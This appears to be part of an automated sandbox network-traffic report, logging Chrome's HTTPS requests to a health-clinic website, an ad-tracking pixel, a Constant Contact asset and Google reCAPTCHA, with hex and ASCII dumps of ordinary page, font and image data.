2024-04-24 12:45:15 UTC	16384	IN	Data Raw: a3 b3 dd 71 32 d6 99 ee df 74 3b aa b2 27 c7 07 7c 47 ae bb fd cc a8 62 08 68 ef 1a cb e4 54 23 43 40 28 0e d8 de 5c 43 1c 7b a4 c3 3b d4 68 65 12 38 ca 4f 3a 7e d1 e1 e1 ba a3 b6 79 78 d4 86 93 30 81 36 2c db 52 3d f6 7a 04 e3 96 56 79 c5 ef 7e c5 4a b3 85 97 b1 99 0c fc 1f 60 fc 86 44 c6 3d b2 73 e5 55 7a fb 25 00 23 57 d3 92 40 14 45 cf 1b 9d d2 42 4d 12 09 a4 81 8a 20 29 02 a1 b6 2d ac a4 ad 3f b7 5d b5 89 68 91 9b 02 93 b1 44 9b 72 21 2e d4 18 49 c7 ce bd 8f 59 44 04 2d de 62 60 78 f3 e6 7d 9c 7b cf 7d f7 9e 58 5e 4f d0 23 61 08 07 b4 df 8e da 21 a9 64 5b 58 2a ab 8d cf a2 6c 93 cc da bb 0f 9b 87 3a ff 67 4b a2 e5 77 2c f3 91 89 d3 64 38 47 c5 52 44 55 27 cd 9f 75 53 91 45 0d 9e a2 08 b3 5f 61 60 9b ac 63 f4 e6 5d 4a 08 64 62 72 1c cb 46 91 4c a4 44 Data Ascii: q2t;'\|GbhT#C@(\C{;he8O:~yx06,R=zVy~J`D=sUz%#W@EBM )-?]hDr!.IYD-b`x}{}X^O#a!d[X*l:gKw,d8GRDU'uSE_a`c]JdbrFLD
2024-04-24 12:45:16 UTC	1776	IN	Data Raw: fd 21 bf 7f 81 d7 b1 7e ff fe 1d 7c 15 28 68 32 f0 2f a8 a8 07 ad 36 fe ff 97 81 4b 90 0f 7c 4a e0 7f e8 26 ad ff ff ff 23 ee ed 61 62 02 1f 7b f0 ed 03 f4 fc 56 d0 a1 32 cc 90 23 0c 40 db 0a 21 03 77 a0 f1 19 d0 d6 04 e8 62 63 50 6f 8b 19 b2 c2 0c 14 e9 2c ec 1c e0 06 27 f8 fe 35 56 58 69 c2 01 5f 21 ce c2 0c 59 25 0e 3a 2f 03 74 85 d6 fd 2b 87 9f dc bb 72 f0 d9 c7 37 cf be 42 c3 ed 05 b4 5d 01 1b bf 78 09 2d 2d be 22 35 3c 69 36 f0 03 10 40 f4 6a d2 c3 da 21 b0 73 c7 44 a1 bd 19 05 68 02 91 07 f5 72 40 23 a9 c2 12 0a 7c ea a6 5e 32 e2 f2 ba 62 e0 2b c4 ff 42 37 1c 23 dd 7d fa 1f ba ce e2 1f ac 34 f9 0b 5a 7c 03 4a 10 bf c0 0d 59 c8 d2 3d c8 19 9e a0 de 0f e4 1a 8f 5f 60 73 40 2b c3 c1 fa 80 09 0d 94 78 c0 13 83 ff a1 87 48 fd 47 bd 0a 15 bc 3b 1d 7a e0 Data Ascii: !~\|(h2/6K\|J&#ab{V2#@!wbcPo,'5VXi_!Y%:/t+r7B]x--"5<i6@j!sDhr@#\|^2b+B7#}4Z\|JY=_`s@+xHG;z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.4	50153	15.197.193.217	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:15 UTC	1087	OUT	GET /track/up?adv=3l6d758&ref=https%3A%2F%2Fvalleyprohealth.org%2F&upid=6su09yz&upv=1.1.0 HTTP/1.1 Host: insight.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFIAIoAzILCNKuldvhmfI8EAVCDyINCAESCQoFdGllcjIQAVoHM2w2ZDc1OGAB
2024-04-24 12:45:15 UTC	653	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:45:15 GMT Content-Type: text/html Content-Length: 382 Connection: close server: Kestrel set-cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; expires=Thu, 24 Apr 2025 12:45:15 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFKAMyCwjcy-Dx45nyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..; expires=Thu, 24 Apr 2025 12:45:15 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-24 12:45:15 UTC	382	IN	Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 61 64 73 72 76 72 2e 6f 72 67 2f 75 6e 69 76 65 72 73 61 6c 5f 70 69 78 65 6c 2e 31 2e 31 2e 30 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 75 6e 69 76 65 72 73 61 6c 50 69 78 65 6c 43 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 67 6c 6f 62 61 6c 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <html><head> <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script></head><body> <div id="universalPixelContainer"> <script type="text/javascript"> (function(global) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.4	50155	18.154.206.110	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:15 UTC	487	OUT	GET /v1/118aade4e91f193939b45ed0d3280360.json HTTP/1.1 Host: listgrowth.ctctcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "6aba559afcf8291c518df6fa4c481556" If-Modified-Since: Wed, 10 Apr 2024 20:08:09 GMT
2024-04-24 12:45:16 UTC	761	IN	HTTP/1.1 304 Not Modified Connection: close x-amz-id-2: R8xjy/f80jHdbVZR+hLkrfwXnqFkctly9zcOymiiUJHLalnrLTB9i/yu0d6FP30Bl0AxVce/YQ0= x-amz-request-id: QGZ3Q6RWZ237S45Q Date: Wed, 24 Apr 2024 12:45:17 GMT x-amz-replication-status: COMPLETED Last-Modified: Wed, 10 Apr 2024 20:08:09 GMT Cache-Control: max-age=5 x-amz-version-id: qgRxA7gosVzT_wP9bW7f3kojvsIr4NKW Server: AmazonS3 ETag: "6aba559afcf8291c518df6fa4c481556" Vary: Accept-Encoding Recaptcha-Key: 6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Access-Control-Expose-Headers: recaptcha-key X-Cache: RefreshHit from cloudfront Via: 1.1 610506c6c40a8c3dbab9b577acc13892.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LAX50-P5 X-Amz-Cf-Id: Z3ny6VMi6br3_fCNYSg_nzEtdA8TrQeVAjoNN3D5JpFPaQ0uvYJSZQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.4	50154	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:15 UTC	795	OUT	GET /wp-content/themes/vpchc/images/favicon/favicon-32x32.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962708.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:45:16 UTC	323	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:16 GMT Content-Type: image/png Content-Length: 2270 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:36 GMT ETag: "64f5a128-8de" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:16 UTC	2270	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 06 51 49 44 41 54 58 c3 ed 97 5b 6c 5c 57 15 86 bf 75 ce dc 6c 8f 2f b1 d3 f8 1a 27 be 04 37 75 d2 36 a4 49 a0 15 2d aa 93 38 05 25 45 22 6a 05 aa c4 03 08 54 41 24 43 45 81 27 84 40 88 be 50 ab 5c 55 81 54 a8 02 b4 50 35 72 d3 d6 25 43 4a 13 55 a5 50 9a b8 6e 93 d8 6e 1d db b1 63 3b 86 8c ed d8 33 9e 99 33 67 f1 70 f6 89 Data Ascii: PNGIHDR szzgAMAasRGB cHRMz&u0`:pQ<bKGDpHYsQIDATX[l\Wul/'7u6I-8%E"jTA$CE'@P\UTP5r%CJUPnnc;33gp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.4	50157	142.250.101.99	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:15 UTC	1069	OUT	GET /recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cHM6Ly92YWxsZXlwcm9oZWFsdGgub3JnOjQ0Mw..&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=aogix5n2d4km HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE
2024-04-24 12:45:16 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 24 Apr 2024 12:45:16 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-UMf6DAwbhD0M9K2Mm6B-mg' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:45:16 UTC	364	IN	Data Raw: 32 61 65 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b Data Ascii: 2ae2<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face {
2024-04-24 12:45:16 UTC	1255	IN	Data Raw: 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 Data Ascii: 18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//font
2024-04-24 12:45:16 UTC	1255	IN	Data Raw: 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 30 Data Ascii: 0AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00
2024-04-24 12:45:16 UTC	1255	IN	Data Raw: 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 20 Data Ascii: +04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-24 12:45:16 UTC	1255	IN	Data Raw: 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b 30 Data Ascii: e { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0
2024-04-24 12:45:16 UTC	1255	IN	Data Raw: 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a Data Ascii: ic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight:
2024-04-24 12:45:16 UTC	1255	IN	Data Raw: 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 55 4d 66 36 44 41 77 62 68 44 30 4d 39 4b 32 4d 6d 36 42 2d 6d 67 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d Data Ascii: </style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/styles__ltr.css"><script nonce="UMf6DAwbhD0M9K2Mm6B-mg" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.com
2024-04-24 12:45:16 UTC	1255	IN	Data Raw: 47 44 54 73 4e 6e 4b 55 72 34 5a 4a 71 49 6c 6d 34 2d 39 57 44 73 6a 45 78 34 7a 37 7a 37 54 78 67 6e 6e 63 43 30 66 4d 53 4d 41 6c 46 57 4a 73 58 48 63 36 51 7a 73 43 31 74 39 49 6b 33 6c 54 36 66 62 58 6f 49 6e 64 59 4a 52 5f 77 62 4d 72 45 6b 67 75 4c 58 5f 64 53 2d 63 39 67 52 34 48 68 69 66 51 56 63 6f 6a 52 51 41 34 54 6f 75 4b 34 32 51 76 49 50 72 77 39 59 66 45 4b 32 78 43 66 2d 5f 77 51 5f 70 46 76 54 55 36 6e 39 79 75 66 63 6c 41 59 31 78 42 49 76 6d 61 38 50 65 69 47 75 48 74 37 63 72 4a 61 55 65 75 54 76 75 5f 6a 7a 38 50 77 76 74 33 69 6c 36 69 70 39 33 4d 33 6b 33 4a 56 67 6e 53 4b 41 30 73 68 72 68 55 58 62 37 71 57 48 51 5f 59 46 55 5f 4f 51 73 58 63 66 52 35 52 7a 62 4e 43 36 67 5f 42 48 73 4e 38 6e 64 36 56 56 36 44 53 4b 78 75 4a 38 6f Data Ascii: GDTsNnKUr4ZJqIlm4-9WDsjEx4z7z7TxgnncC0fMSMAlFWJsXHc6QzsC1t9Ik3lT6fbXoIndYJR_wbMrEkguLX_dS-c9gR4HhifQVcojRQA4TouK42QvIPrw9YfEK2xCf-_wQ_pFvTU6n9yufclAY1xBIvma8PeiGuHt7crJaUeuTvu_jz8Pwvt3il6ip93M3k3JVgnSKA0shrhUXb7qWHQ_YFU_OQsXcfR5RzbNC6g_BHsN8nd6VV6DSKxuJ8o
2024-04-24 12:45:16 UTC	1255	IN	Data Raw: 43 22 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 55 4d 66 36 44 41 77 62 68 44 30 4d 39 4b 32 4d 6d 36 42 2d 6d 67 22 3e 0a 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 2e 61 6e 63 68 6f 72 2e 4d 61 69 6e 2e 69 6e 69 74 28 22 5b 5c 78 32 32 61 69 6e 70 75 74 5c 78 32 32 2c 5b 5c 78 32 32 62 67 64 61 74 61 5c 78 32 32 2c 5c 78 32 32 4c 79 39 33 64 33 63 75 5a 32 39 76 5a 32 78 6c 4c 6d 4e 76 62 53 39 71 63 79 39 69 5a 79 38 32 53 6b 73 33 55 47 74 6f 55 56 42 71 5a 30 64 6c 51 6c 70 78 65 55 68 4c 51 31 4e 58 64 55 70 4c 52 44 56 61 53 6d 31 47 58 32 74 36 62 56 41 35 55 57 78 57 4d 55 52 5a 4c 6d 70 7a 5c 78 32 32 2c 5c 78 32 32 5c 78 32 32 2c 5c 78 32 32 53 6e 64 4a 5a 7a 6b 77 Data Ascii: C"><script type="text/javascript" nonce="UMf6DAwbhD0M9K2Mm6B-mg"> recaptcha.anchor.Main.init("[\x22ainput\x22,[\x22bgdata\x22,\x22Ly93d3cuZ29vZ2xlLmNvbS9qcy9iZy82Sks3UGtoUVBqZ0dlQlpxeUhLQ1NXdUpLRDVaSm1GX2t6bVA5UWxWMURZLmpz\x22,\x22\x22,\x22SndJZzkw
2024-04-24 12:45:16 UTC	582	IN	Data Raw: 53 58 64 50 52 6d 4e 6e 5a 48 46 74 52 46 4d 72 62 32 64 4a 4d 6e 64 61 55 30 31 52 57 58 46 34 62 57 78 4e 61 6d 74 72 53 47 39 73 52 33 6f 31 62 57 38 35 51 33 4e 75 54 69 74 59 59 33 68 4a 56 6d 70 4f 52 6a 68 79 65 6d 56 6a 57 6d 52 35 54 56 46 53 5a 6e 70 43 53 43 39 35 55 47 56 35 65 69 74 6b 4d 45 35 48 63 32 31 72 59 30 55 77 53 54 51 7a 51 6b 68 44 65 45 46 36 52 7a 46 79 4c 33 51 33 4f 44 4a 79 5a 47 5a 5a 4c 30 55 78 53 6a 45 32 64 6b 78 50 62 6b 56 70 53 6a 56 36 54 57 46 72 62 30 68 79 59 6b 74 6f 64 46 68 6b 51 58 6c 61 4e 6c 52 42 62 6b 31 45 63 47 78 77 53 48 64 44 61 57 31 4c 65 47 4e 36 4d 47 56 6b 55 31 70 35 4f 57 68 6a 52 54 42 30 4e 57 56 78 64 58 4d 34 54 58 41 77 54 55 31 4b 